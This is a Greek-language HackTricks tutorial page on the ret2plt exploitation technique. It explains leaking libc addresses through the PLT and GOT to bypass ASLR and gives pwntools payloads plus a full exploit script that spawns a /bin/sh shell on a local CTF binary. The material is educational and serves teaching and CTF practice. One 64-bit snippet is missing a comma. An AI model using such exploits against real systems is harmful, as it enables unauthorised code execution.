Ret2plt

Reading time: 4 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Basic Information

Ο στόχος αυτής της τεχνικής είναι να διαρρεύσει μια διεύθυνση από μια συνάρτηση από το PLT για να μπορέσει να παρακαμφθεί το ASLR. Αυτό συμβαίνει επειδή, αν, για παράδειγμα, διαρρεύσετε τη διεύθυνση της συνάρτησης puts από τη libc, μπορείτε στη συνέχεια να υπολογίσετε πού είναι η βάση της libc και να υπολογίσετε offsets για να αποκτήσετε πρόσβαση σε άλλες συναρτήσεις όπως system.

Αυτό μπορεί να γίνει με ένα payload pwntools όπως (from here):

python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Σημειώστε πώς η puts (χρησιμοποιώντας τη διεύθυνση από το PLT) καλείται με τη διεύθυνση της puts που βρίσκεται στο GOT (Global Offset Table). Αυτό συμβαίνει επειδή μέχρι τη στιγμή που η puts εκτυπώνει την εγγραφή του GOT της puts, αυτή η εγγραφή θα περιέχει τη ακριβή διεύθυνση της puts στη μνήμη.

Επίσης, σημειώστε πώς η διεύθυνση της main χρησιμοποιείται στην εκμετάλλευση, έτσι ώστε όταν η puts ολοκληρώσει την εκτέλεσή της, η δυαδική κλήση καλεί ξανά την main αντί να τερματίσει (έτσι η διαρροή διεύθυνσης θα παραμείνει έγκυρη).

caution

Σημειώστε πώς για να λειτουργήσει αυτό, η δυαδική δεν μπορεί να έχει μεταγλωττιστεί με PIE ή πρέπει να έχετε βρει μια διαρροή για να παρακάμψετε το PIE προκειμένου να γνωρίζετε τη διεύθυνση του PLT, GOT και main. Διαφορετικά, πρέπει πρώτα να παρακάμψετε το PIE.

Μπορείτε να βρείτε ένα πλήρες παράδειγμα αυτής της παράκαμψης εδώ. Αυτή ήταν η τελική εκμετάλλευση από αυτό το παράδειγμα:

python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Άλλα παραδείγματα & Αναφορές

  • https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
  • 64 bit, ενεργοποιημένο ASLR αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε μια υπερχείλιση μέχρι το byte 0x00 του canary για να καλέσετε στη συνέχεια το puts και να το διαρρεύσετε. Με το canary δημιουργείται ένα ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσει system('/bin/sh')
  • https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
  • 64 bits, ενεργοποιημένο ASLR, χωρίς canary, υπερχείλιση στο stack από μια παιδική συνάρτηση. ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και στη συνέχεια να καλέσει ένα one gadget.

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks